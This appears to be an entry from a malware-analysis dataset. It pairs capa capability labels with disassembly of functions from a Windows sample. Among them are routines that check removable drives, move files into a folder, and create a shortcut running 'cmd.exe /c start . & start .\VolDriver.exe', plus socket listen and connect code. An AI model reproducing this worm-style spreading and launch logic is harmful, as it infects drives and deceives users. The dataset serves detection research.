joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402020
Capabilities:
Create tcp socket
Create udp socket
Get system information on windows
Set socket configuration

Disassembly:
sub esp, 0x38
push esi
push 0x4c
call fcn.00409b10
mov esi, eax
add esp, 4
test esi, esi
je 0x4021aa
lea eax, [esp + 0x18]
push eax
mov dword [esi], 0x494f4350
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0x2c]
lea eax, [esi + 0x20]
lea edx, [ecx + ecx]
push eax
mov dword [esi + 4], edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x10], eax
test eax, eax
je 0x40219f
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [esi + 8], eax
test eax, eax
je 0x40219f
call fcn.0040ceb0
mov dword [esi + 0xc], eax
test eax, eax
je 0x40219f
push 1
push 0
push 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [esi + 0x14], eax
cmp eax, 0xffffffff
je 0x40219f
push 1
lea ecx, [esp + 0xb]
push ecx
push 4
push 0xffff
push eax
mov byte [esp + 0x1b], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esp + 0x44]
xor eax, eax
mov dword [esp + 0xa], eax
mov dword [esp + 0xe], eax
mov dword [esp + 0x12], eax
mov word [esp + 0x16], ax
mov eax, dword [esp + 0x40]
mov edx, 2
push ecx
mov word [esp + 0xc], dx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [esi + 0x14]
push edx
push eax
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x40219f
mov ecx, dword [esi + 0x14]
push accept
push ecx
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x40219f
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [esi + 0x18], eax
test eax, eax
je 0x40219f
mov edx, dword [esi + 0x14]
push 8
push eax
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x40219f
push edi
xor edi, edi
cmp dword [esi + 4], edi
jbe 0x40217f
mov eax, dword [esi + 0xc]
push 0
push 0
push esi
push 0x401f50
push 0
push eax
call fcn.0040cee0
inc edi
add esp, 0x18
cmp edi, dword [esi + 4]
jb 0x402161
mov ecx, dword [esi + 0xc]
push 0
push 0
push esi
push 0x401920
push 0
push ecx
call fcn.0040cee0
add esp, 0x18
pop edi
mov eax, esi
pop esi
add esp, 0x38
ret
push esi
call fcn.00401600
add esp, 4
xor eax, eax
pop esi
add esp, 0x38
ret
Function at 0x405920
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x417930
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 3
push 0
push 0
push accept
push 0x417b60
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x405a45
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x405a3b
push 0
push 0
push 0
push 4
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x405a31
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x10], 0
je 0x405a27
cmp dword [ebp - 0x10], 0x100
jae 0x4059be
jmp 0x405a27
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0040c5a0
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x4059d5
jmp 0x405a27
mov edx, dword [ebp - 0x10]
sub edx, 0x100
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [eax + 0xc]
jae 0x4059fa
mov edx, dword [ebp - 0x18]
push edx
call fcn.00409f30
add esp, 4
jmp 0x405a27
push 0
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0xc]
add ecx, 0x100
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.00405a50
add esp, 0x10
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x10]
sub edx, dword [ecx + 0xc]
mov dword [ebp - 0x10], edx
jmp 0x4059ad
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x406080
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x41c], ecx
cmp dword [ebp - 0x41c], 2
jb 0x4060f5
cmp dword [ebp - 0x41c], 3
jbe 0x4060bc
cmp dword [ebp - 0x41c], 6
je 0x4060bc
jmp 0x4060f5
push 0x208
lea edx, [ebp - 0x418]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x4060f5
push 4
push str.___
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
jne 0x4060f5
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x406100
Capabilities:
Get disk information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], reloc.WS2_32.dll_bind
mov dword [ebp - 4], reloc.WS2_32.dll_accept
mov dword [ebp - 0x14], 0
jmp 0x406136
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jae 0x4061a6
lea ecx, [ebp - 0x18]
push ecx
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + edx*4 - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4061a4
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 4
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x1c]
push edx
push 0
push 0
push str.NoDrives
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40619a
cmp dword [ebp - 0x1c], 0
je 0x40619a
mov ecx, dword [ebp - 0xc]
or ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40612d
mov eax, dword [ebp - 0xc]
not eax
and eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x4061c0
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
push eax
push 0x412120
push 1
push 0
push 0x412140
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x4062c2
cmp dword [ebp - 8], 0
je 0x4062c2
push 0x41430c
push 0x41430c
push str._c_start_._s__start_._sVolDriver.exe
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push str._windir_System32cmd.exe
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [eax + 0x50]
call edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [eax + 0x44]
call edx
push 7
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ecx + 0x3c]
call eax
lea ecx, [ebp - 0x218]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [eax + 0x2c]
call edx
lea eax, [ebp - 0xc]
push eax
push 0x412130
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [edx]
call ecx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x4062b4
cmp dword [ebp - 0xc], 0
je 0x4062b4
push 1
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ecx + 0x18]
call eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [edx + 8]
call ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [eax + 8]
call edx
mov esp, ebp
pop ebp
ret
Function at 0x4062d0
Capabilities:
Create directory
Delete directory
Enumerate files on windows
Enumerate files recursively
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x870
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp + 8]
push ecx
push 0x410d48
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x458]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 0xffffffff
je 0x4063ff
push 0x410d54
lea edx, [ebp - 0x42c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x406351
push 0x410d58
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x406353
jmp 0x4063cc
lea ecx, [ebp - 0x42c]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x410d60
lea eax, [ebp - 0x668]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x42c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 0x410d6c
lea eax, [ebp - 0x870]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov ecx, dword [ebp - 0x458]
and ecx, 0x10
je 0x4063b6
lea edx, [ebp - 0x870]
push edx
lea eax, [ebp - 0x668]
push eax
call fcn.004062d0
add esp, 8
jmp 0x4063cc
push 9
lea ecx, [ebp - 0x870]
push ecx
lea edx, [ebp - 0x668]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea eax, [ebp - 0x458]
push eax
mov ecx, dword [ebp - 0x45c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x406325
mov edx, dword [ebp - 0x45c]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov esp, ebp
pop ebp
ret
Function at 0x407040
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
add eax, 1
push eax
call fcn.00409d20
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x407097
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call sub.ntdll.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 4]
add ecx, dword [ebp + 0x10]
mov byte [ecx], 0
push 0
push 0
mov edx, dword [ebp - 4]
push edx
push 0x4070a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x408d50
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
cmp dword [ebp + 0x14], 0
jne 0x408d61
jmp 0x408f14
xor eax, eax
mov word [ebp - 0x10], ax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 0xc]
xor edx, edx
mov ecx, 8
div ecx
test edx, edx
je 0x408db1
mov eax, dword [ebp + 0xc]
xor edx, edx
mov ecx, 8
div ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp + 0xc]
shr edx, 3
mov eax, dword [ebp + 8]
movzx cx, byte [eax + edx]
mov word [ebp - 0x10], cx
movzx edx, word [ebp - 0x10]
mov ecx, 8
sub ecx, dword [ebp - 0x14]
sar edx, cl
mov word [ebp - 0x10], dx
mov eax, dword [ebp + 0xc]
shr eax, 3
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0x14]
add ecx, 7
shr ecx, 3
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
jmp 0x408dd8
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jge 0x408f14
mov ecx, dword [ebp - 8]
sub ecx, 1
cmp dword [ebp - 4], ecx
je 0x408e10
movzx edx, word [ebp - 0x10]
shl edx, 8
mov eax, dword [ebp + 0x10]
add eax, dword [ebp - 4]
movzx ecx, byte [eax]
xor edx, ecx
mov word [ebp - 0x10], dx
mov edx, dword [ebp - 0x14]
add edx, 8
mov dword [ebp - 0x14], edx
jmp 0x408e69
mov eax, dword [ebp + 0x14]
xor edx, edx
mov ecx, 8
div ecx
test edx, edx
jne 0x408e29
mov dword [ebp - 0x24], 8
jmp 0x408e38
mov eax, dword [ebp + 0x14]
xor edx, edx
mov ecx, 8
div ecx
mov dword [ebp - 0x24], edx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x18], edx
movzx eax, word [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
shl eax, cl
mov ecx, dword [ebp + 0x10]
add ecx, dword [ebp - 4]
movzx edx, byte [ecx]
mov ecx, 8
sub ecx, dword [ebp - 0x18]
sar edx, cl
or eax, edx
mov word [ebp - 0x10], ax
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
sub ecx, 1
xor edx, edx
cmp dword [ebp - 4], ecx
setne dl
xor eax, eax
cmp dword [ebp - 0x14], 8
setge al
and edx, eax
jne 0x408e9f
mov ecx, dword [ebp - 8]
sub ecx, 1
xor edx, edx
cmp dword [ebp - 4], ecx
sete dl
xor eax, eax
cmp dword [ebp - 0x14], 0
setg al
and edx, eax
je 0x408f0f
cmp dword [ebp - 0x14], 8
jle 0x408eae
mov dword [ebp - 0x28], 8
jmp 0x408eb4
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x1c], edx
movzx eax, word [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x1c]
sar eax, cl
mov byte [ebp - 0x1d], al
movzx edx, byte [ebp - 0x1d]
mov ecx, 8
sub ecx, dword [ebp - 0x1c]
shl edx, cl
mov byte [ebp - 0x1d], dl
mov eax, 0xff00
mov ecx, dword [ebp - 0x1c]
sar eax, cl
movzx ecx, byte [ebp - 0x1d]
and ecx, eax
mov byte [ebp - 0x1d], cl
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0xc]
mov al, byte [ebp - 0x1d]
mov byte [edx], al
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], edx
jmp 0x408e69
jmp 0x408dcf
mov esp, ebp
pop ebp
ret
Function at 0x40a0a0
Capabilities:
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0x24], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 0xc]
shr ecx, 2
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0xcc9e2d51
mov dword [ebp - 0x10], 0x1b873593
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
lea ecx, [eax + edx*4]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x14]
neg edx
mov dword [ebp - 0x28], edx
jmp 0x40a0f0
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40a14d
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.0040a200
add esp, 8
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
imul eax, eax, 0xcc9e2d51
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
rol ecx, 0xf
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
imul edx, edx, 0x1b873593
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 0x2c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
rol ecx, 0xd
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
imul edx, edx, 5
sub edx, 0x19ab949c
mov dword [ebp - 4], edx
jmp 0x40a0e7
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
lea edx, [ecx + eax*4]
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x20], 0
mov eax, dword [ebp + 0xc]
and eax, 3
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
je 0x40a19d
cmp dword [ebp - 0x30], 2
je 0x40a18d
cmp dword [ebp - 0x30], 3
je 0x40a17d
jmp 0x40a1d3
mov ecx, dword [ebp - 0xc]
movzx edx, byte [ecx + 2]
shl edx, 0x10
xor edx, dword [ebp - 0x20]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0xc]
movzx ecx, byte [eax + 1]
shl ecx, 8
xor ecx, dword [ebp - 0x20]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0xc]
movzx eax, byte [edx]
xor eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
imul ecx, ecx, 0xcc9e2d51
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
rol edx, 0xf
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
imul eax, eax, 0x1b873593
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp - 0x20]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
xor edx, dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
push eax
call fcn.0040a210
add esp, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x40a210
Capabilities:
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
shr eax, 0x10
xor eax, dword [ebp + 8]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 8]
imul ecx, ecx, 0x85ebca6b
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 8]
shr edx, 0xd
xor edx, dword [ebp + 8]
mov dword [ebp + 8], edx
mov eax, dword [ebp + 8]
imul eax, eax, 0xc2b2ae35
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 8]
shr ecx, 0x10
xor ecx, dword [ebp + 8]
mov dword [ebp + 8], ecx
mov eax, dword [ebp + 8]
pop ebp
ret
Function at 0x40a7c0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40a7f9
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40a7f9
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x40a800
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov word [ebp - 0x14], ax
xor ecx, ecx
mov dword [ebp - 0x12], ecx
mov dword [ebp - 0xe], ecx
mov dword [ebp - 0xa], ecx
mov word [ebp - 6], cx
mov edx, 2
mov word [ebp - 0x14], dx
push 0x50
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
push 0x411388
call fcn.0040a7c0
add esp, 4
mov dword [ebp - 0x10], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
je 0x40a8b0
push 0x10
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x40a8a4
xor edx, edx
mov word [ebp - 0x28], dx
xor eax, eax
mov dword [ebp - 0x26], eax
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], eax
mov word [ebp - 0x1a], ax
mov dword [ebp - 0x2c], 0x10
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.0040a8c0
add esp, 4
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40a900
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [0x4183b0], 0
jne 0x40a914
jmp 0x40a9ec
mov eax, dword [0x4183b0]
shl eax, 3
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.00409d20
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40a9ec
mov dword [ebp - 0x10], 0
jmp 0x40a94a
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [0x4183b0]
jae 0x40a984
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx*4 + 0x4183b8]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
mov edx, dword [edx + 4]
mov dword [ecx + eax*8], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax*4 + 0x4183b8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
mov ecx, dword [ecx + 8]
mov dword [eax + edx*8 + 4], ecx
jmp 0x40a941
push 0
push 2
push 2
push 0
push 0
push 0x40000000
push 0x418180
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x40a9d3
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3d
push 0x416d58
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov edx, dword [ebp - 4]
push edx
call fcn.00409f30
add esp, 4
mov esp, ebp
pop ebp
ret

Function at 0x40ab50
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov byte [ebp - 0x101], 0
push pe_nt_image_headers32
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
je 0x40abe7
lea ecx, [ebp - 0x100]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
je 0x40abe7
mov dword [ebp - 0x10c], 0
jmp 0x40abae
mov edx, dword [ebp - 0x10c]
add edx, 1
mov dword [ebp - 0x10c], edx
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x10c]
cmp dword [ecx + edx*4], 0
je 0x40abe7
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x10c]
mov eax, dword [ecx + edx*4]
mov ecx, dword [eax]
cmp ecx, dword [ebp + 8]
jne 0x40abe5
mov byte [ebp - 0x101], 1
jmp 0x40abe7
jmp 0x40ab9f
mov al, byte [ebp - 0x101]
mov esp, ebp
pop ebp
ret
Function at 0x40b040
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x418398
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [ebp - 8], 0
jmp 0x40b063
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x200
jae 0x40b089
push 0
call fcn.0040d220
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx*4 + 0x416d60]
push edx
call fcn.0040ac20
add esp, 0xc
jmp 0x40b05a
push 0
push 0
push 3
push 0
push 0
push accept
push 0x418180
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x40b172
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40b168
push 0
push 0
push 0
push 4
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40b15e
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
jmp 0x40b11d
mov eax, dword [ebp - 0x18]
add eax, 8
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x14]
jae 0x40b154
cmp dword [ebp - 0x1c], 0x200
jae 0x40b154
push 0
call fcn.0040d220
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x10]
sub eax, dword [edx + ecx*8 + 4]
push eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + eax*8]
push edx
call fcn.0040ac20
add esp, 0xc
jmp 0x40b10b
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.0040a8e0
push 0
push 0
push 0
push 0x40b1a0
push 0
mov eax, dword [0x418bbc]
push eax
call fcn.0040cee0
add esp, 0x18
mov esp, ebp
pop ebp
ret